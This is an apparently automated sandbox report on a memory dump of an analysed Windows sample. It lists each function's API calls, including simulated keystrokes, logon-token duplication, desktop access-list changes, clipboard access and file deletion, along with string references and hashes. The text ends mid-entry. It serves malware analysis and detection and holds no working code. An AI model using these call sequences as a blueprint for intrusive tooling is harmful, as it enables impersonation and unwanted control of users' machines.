SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00FF965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00FF969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00FF96C9
SendMessageW.USER32 ref: 00FF96F2
GetKeyState.USER32(00000011), ref: 00FF978B
GetKeyState.USER32(00000009), ref: 00FF9798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00FF97AE
GetKeyState.USER32(00000010), ref: 00FF97B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00FF97E9
SendMessageW.USER32 ref: 00FF9810
SendMessageW.USER32(?,00001030,?,00FF7E95), ref: 00FF9918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00FF992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00FF9941
SetCapture.USER32(?), ref: 00FF994A
ClientToScreen.USER32(?,?), ref: 00FF99AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00FF99BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00FF99D6
ReleaseCapture.USER32 ref: 00FF99E1
GetCursorPos.USER32(?), ref: 00FF9A19
ScreenToClient.USER32(?,?), ref: 00FF9A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00FF9A80
SendMessageW.USER32 ref: 00FF9AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00FF9AEB
SendMessageW.USER32 ref: 00FF9B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00FF9B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00FF9B4A
GetCursorPos.USER32(?), ref: 00FF9B68
ScreenToClient.USER32(?,?), ref: 00FF9B75
GetParent.USER32(?), ref: 00FF9B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00FF9BFA
SendMessageW.USER32 ref: 00FF9C2B
ClientToScreen.USER32(?,?), ref: 00FF9C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00FF9CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00FF9CDE
SendMessageW.USER32 ref: 00FF9D01
ClientToScreen.USER32(?,?), ref: 00FF9D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00FF9D82

Part of subcall function 00F79944: GetWindowLongW.USER32(?,000000EB), ref: 00F79952

GetWindowLongW.USER32(?,000000F0), ref: 00FF9E05

Strings

@GUI_DRAGID, xrefs: 00FF997D
F, xrefs: 00FF9D07

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: 4d2aefad44f228f7cd20050acc3c1f02202a6b47ca35af233e5d3aebf51de2ad
Instruction ID: ffe7a28276bc0da6038f0ecdba1ae116811538a4227ddfedd58577ebffeafd33
Opcode Fuzzy Hash: 4d2aefad44f228f7cd20050acc3c1f02202a6b47ca35af233e5d3aebf51de2ad
Instruction Fuzzy Hash: 90427B35608209AFD724DF24CC44BBABBE9FF48720F140619F699C72B1D7B1A854EB91

Function 00F7F98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 00F7F998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00FBF474
IsIconic.USER32(00000000), ref: 00FBF47D
ShowWindow.USER32(00000000,00000009), ref: 00FBF48A
SetForegroundWindow.USER32(00000000), ref: 00FBF494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00FBF4AA
GetCurrentThreadId.KERNEL32 ref: 00FBF4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00FBF4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 00FBF4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00FBF4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 00FBF4DE
SetForegroundWindow.USER32(00000000), ref: 00FBF4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FBF4F6
keybd_event.USER32(00000012,00000000), ref: 00FBF501
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FBF50B
keybd_event.USER32(00000012,00000000), ref: 00FBF510
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FBF519
keybd_event.USER32(00000012,00000000), ref: 00FBF51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FBF528
keybd_event.USER32(00000012,00000000), ref: 00FBF52D
SetForegroundWindow.USER32(00000000), ref: 00FBF530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 00FBF557

Strings

Shell_TrayWnd, xrefs: 00FBF46F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: b9b694eeec7fbd353c9f377d42eafb645bae19c31f77e8a26a1540cac6e14130
Instruction ID: c590db536b40c1f019ef154ed21a806dcb1e8f73875e22bacdb4b018f9a2308b
Opcode Fuzzy Hash: b9b694eeec7fbd353c9f377d42eafb645bae19c31f77e8a26a1540cac6e14130
Instruction Fuzzy Hash: B6313271A4022CBAEB206BB65D49FBF7E6CEF44B50F140065F605E61D1C6B15900FEA0

Function 00FC1201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00FC16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FC170D
Part of subcall function 00FC16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FC173A
Part of subcall function 00FC16C3: GetLastError.KERNEL32 ref: 00FC174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00FC1286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00FC12A8
CloseHandle.KERNEL32(?), ref: 00FC12B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00FC12D1
GetProcessWindowStation.USER32 ref: 00FC12EA
SetProcessWindowStation.USER32(00000000), ref: 00FC12F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00FC1310

Part of subcall function 00FC10BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00FC11FC), ref: 00FC10D4
Part of subcall function 00FC10BF: CloseHandle.KERNEL32(?,?,00FC11FC), ref: 00FC10E9

Strings

, xrefs: 00FC125A
winsta0, xrefs: 00FC12CC
default, xrefs: 00FC130B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: 7b3432aa4fb4968a190ae3be9c129794c64cf7c846afe5ebd6fd0c55ce7f5891
Instruction ID: e875078345f5370c56f9f1cf6e1122c6265b0836959ff8e77d9af3bd2db0577c
Opcode Fuzzy Hash: 7b3432aa4fb4968a190ae3be9c129794c64cf7c846afe5ebd6fd0c55ce7f5891
Instruction Fuzzy Hash: C1819C7190020EABDF25DFA4DE4AFEE7BB9BF06710F144069F910E61A1D7348964EB60

Function 00FC0B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FC1114
Part of subcall function 00FC10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00FC0B9B,?,?,?), ref: 00FC1120
Part of subcall function 00FC10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00FC0B9B,?,?,?), ref: 00FC112F
Part of subcall function 00FC10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00FC0B9B,?,?,?), ref: 00FC1136
Part of subcall function 00FC10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FC114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00FC0BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00FC0C00
GetLengthSid.ADVAPI32(?), ref: 00FC0C17
GetAce.ADVAPI32(?,00000000,?), ref: 00FC0C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00FC0C6D
GetLengthSid.ADVAPI32(?), ref: 00FC0C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00FC0C8C
HeapAlloc.KERNEL32(00000000), ref: 00FC0C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00FC0CB4
CopySid.ADVAPI32(00000000), ref: 00FC0CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00FC0CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00FC0D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00FC0D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FC0D45
HeapFree.KERNEL32(00000000), ref: 00FC0D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FC0D55
HeapFree.KERNEL32(00000000), ref: 00FC0D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FC0D65
HeapFree.KERNEL32(00000000), ref: 00FC0D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00FC0D78
HeapFree.KERNEL32(00000000), ref: 00FC0D7F

Part of subcall function 00FC1193: GetProcessHeap.KERNEL32(00000008,00FC0BB1,?,00000000,?,00FC0BB1,?), ref: 00FC11A1
Part of subcall function 00FC1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00FC0BB1,?), ref: 00FC11A8
Part of subcall function 00FC1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00FC0BB1,?), ref: 00FC11B7

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 08c6974827f5c6bb7a794e5b8705d5f80f1a590d20ea2fdce19e1eeb59258446
Instruction ID: 9d9a67badaa5cc6c1faa0edafdf159dfe8906bfd368fdefbe386d53cf3244391
Opcode Fuzzy Hash: 08c6974827f5c6bb7a794e5b8705d5f80f1a590d20ea2fdce19e1eeb59258446
Instruction Fuzzy Hash: FE71897290021EEBDF10DFA5DE45FAEBBBCAF04710F044219E905E6191DB70A906EBA0

Function 00FDEAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00FFCC08), ref: 00FDEB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 00FDEB37
GetClipboardData.USER32(0000000D), ref: 00FDEB43
CloseClipboard.USER32 ref: 00FDEB4F
GlobalLock.KERNEL32(00000000), ref: 00FDEB87
CloseClipboard.USER32 ref: 00FDEB91
GlobalUnlock.KERNEL32(00000000), ref: 00FDEBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 00FDEBC9
GetClipboardData.USER32(00000001), ref: 00FDEBD1
GlobalLock.KERNEL32(00000000), ref: 00FDEBE2
GlobalUnlock.KERNEL32(00000000), ref: 00FDEC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 00FDEC38
GetClipboardData.USER32(0000000F), ref: 00FDEC44
GlobalLock.KERNEL32(00000000), ref: 00FDEC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00FDEC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00FDEC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00FDECD2
GlobalUnlock.KERNEL32(00000000), ref: 00FDECF3
CountClipboardFormats.USER32 ref: 00FDED14
CloseClipboard.USER32 ref: 00FDED59

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: dfb8a4ae83fbd41870dce61ed26a04b52d372833241fa5cce1a6cba793a286c0
Instruction ID: d54bba9d61d1a6178541f47c296f89dc6f874d9aeca6e4532dbbc5f80030de44
Opcode Fuzzy Hash: dfb8a4ae83fbd41870dce61ed26a04b52d372833241fa5cce1a6cba793a286c0
Instruction Fuzzy Hash: 6F61AE3520420A9FD300EF20CD85F3A77AAEF84714F18455EF4569B3A1DB71E909EBA2

Function 00FD698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00FD69BE
FindClose.KERNEL32(00000000), ref: 00FD6A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00FD6A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00FD6A75

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00FD6AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FD6ADF

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00FD6B6A
%02d, xrefs: 00FD6C00, 00FD6C0A, 00FD6C5A, 00FD6CAA, 00FD6CFA, 00FD6D4A
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00FD6B32
%4d, xrefs: 00FD6BB1
%03d, xrefs: 00FD6DA2

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 091af7fe37c12c4b3bd690df9f84783e0f31255e18a23b86dcffe0472cdbb758
Instruction ID: d2b6310785e3108571e4807c0b6f8f798604c9b30422cdd5ee289959f92fd02e
Opcode Fuzzy Hash: 091af7fe37c12c4b3bd690df9f84783e0f31255e18a23b86dcffe0472cdbb758
Instruction Fuzzy Hash: A9D15172508340AFC310EBA4CD81EABB7ECAF98704F44491EF585C7251EB79DA48DB62

Function 00FD9642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 00FD9663
GetFileAttributesW.KERNEL32(?), ref: 00FD96A1
SetFileAttributesW.KERNEL32(?,?), ref: 00FD96BB
FindNextFileW.KERNEL32(00000000,?), ref: 00FD96D3
FindClose.KERNEL32(00000000), ref: 00FD96DE
FindFirstFileW.KERNEL32(*.*,?), ref: 00FD96FA
SetCurrentDirectoryW.KERNEL32(?), ref: 00FD974A
SetCurrentDirectoryW.KERNEL32(01026B7C), ref: 00FD9768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FD9772
FindClose.KERNEL32(00000000), ref: 00FD977F
FindClose.KERNEL32(00000000), ref: 00FD978F

Strings

*.*, xrefs: 00FD96F5

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: f602a8d4e23be2c8076140a9767cc2d511d3d06d88c5583db2a1c10521c615fa
Instruction ID: e977988479ecd1e1d2a12eabc13df305a8a950107bfb2c42bad88e4d755b4a23
Opcode Fuzzy Hash: f602a8d4e23be2c8076140a9767cc2d511d3d06d88c5583db2a1c10521c615fa
Instruction Fuzzy Hash: 3231E23294422D6BDF14AFF4DD48AEE77AD9F49320F184196F814E22A0DB74D984EB50

Function 00FD979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 00FD97BE
FindNextFileW.KERNEL32(00000000,?), ref: 00FD9819
FindClose.KERNEL32(00000000), ref: 00FD9824
FindFirstFileW.KERNEL32(*.*,?), ref: 00FD9840
SetCurrentDirectoryW.KERNEL32(?), ref: 00FD9890
SetCurrentDirectoryW.KERNEL32(01026B7C), ref: 00FD98AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FD98B8
FindClose.KERNEL32(00000000), ref: 00FD98C5
FindClose.KERNEL32(00000000), ref: 00FD98D5

Part of subcall function 00FCDAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00FCDB00

Strings

*.*, xrefs: 00FD983B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 1bca7be9dd6baa78de285cbf02471200e56f2e54783cbe89aef40170adc7f5bc
Instruction ID: 3fc9e2a62f32a16d788cd005bcde46542560cefb84e5dfdb8dc22318720c9652
Opcode Fuzzy Hash: 1bca7be9dd6baa78de285cbf02471200e56f2e54783cbe89aef40170adc7f5bc
Instruction Fuzzy Hash: 1831E53294422D6EDF10AFF4EC48AEE77AD9F46730F184156E850A22A0DB71D984FB60

Function 00FD8195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00FD8257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00FD8267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00FD8273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00FD8310
SetCurrentDirectoryW.KERNEL32(?), ref: 00FD8324
SetCurrentDirectoryW.KERNEL32(?), ref: 00FD8356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00FD838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00FD8395

Strings

*.*, xrefs: 00FD839B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: c588af45329f9d38b1f99453cb2a59b612e370912aae80fad414141916e84914
Instruction ID: d7cf4cb4a73982849fc2c610952438a6c6aed9615dba4a7f2c1f64b7a521627a
Opcode Fuzzy Hash: c588af45329f9d38b1f99453cb2a59b612e370912aae80fad414141916e84914
Instruction Fuzzy Hash: 0E618C725083459FC710EF60C8409AEB3E9FF89364F08491EF989C7251EB35E946EB92

Function 00FCD076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F63AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F63A97,?,?,00F62E7F,?,?,?,00000000), ref: 00F63AC2

Part of subcall function 00FCE199: GetFileAttributesW.KERNEL32(?,00FCCF95), ref: 00FCE19A

FindFirstFileW.KERNEL32(?,?), ref: 00FCD122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00FCD1DD
MoveFileW.KERNEL32(?,?), ref: 00FCD1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 00FCD20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FCD237

Part of subcall function 00FCD29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00FCD21C,?,?), ref: 00FCD2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 00FCD253
FindClose.KERNEL32(00000000), ref: 00FCD264

Strings

\*.*, xrefs: 00FCD0CD, 00FCD0D6, 00FCD0EB

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 3cc9c0054e3d7c890e8645d478ba8c1f0de57aa02742958d7bdbf3b91824c76b
Instruction ID: de32029e9e33e6535be8f32b29c98776b2147d00ae4dda8e1fefab2c66d7d012
Opcode Fuzzy Hash: 3cc9c0054e3d7c890e8645d478ba8c1f0de57aa02742958d7bdbf3b91824c76b
Instruction Fuzzy Hash: 1A614A31C0511EAADF05EBA0CE92EEDB7B9AF55300F644169E40177191EB35AF09EB60

Function 00FDED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00FDED91
EmptyClipboard.USER32 ref: 00FDED97
GlobalAlloc.KERNEL32(00000002,?), ref: 00FDEDAC
CloseClipboard.USER32 ref: 00FDEEA3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: d4f045a2320b9e1b3a75d22ac88fb5707d6af92c56819dac14d10bae268c96a0
Instruction ID: 436d2902c3387ddeae9a194908a302247f17a7087945dc06fffe54c456cd101e
Opcode Fuzzy Hash: d4f045a2320b9e1b3a75d22ac88fb5707d6af92c56819dac14d10bae268c96a0
Instruction Fuzzy Hash: DA41BE35604625AFE320EF15D888B29BBE6EF44328F19C09AE4598F762C775EC41DBD0

Function 00FCE8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FC170D
Part of subcall function 00FC16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FC173A
Part of subcall function 00FC16C3: GetLastError.KERNEL32 ref: 00FC174A

ExitWindowsEx.USER32(?,00000000), ref: 00FCE932

Strings

, xrefs: 00FCE920
, xrefs: 00FCE95C
SeShutdownPrivilege, xrefs: 00FCE902
@, xrefs: 00FCE925

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

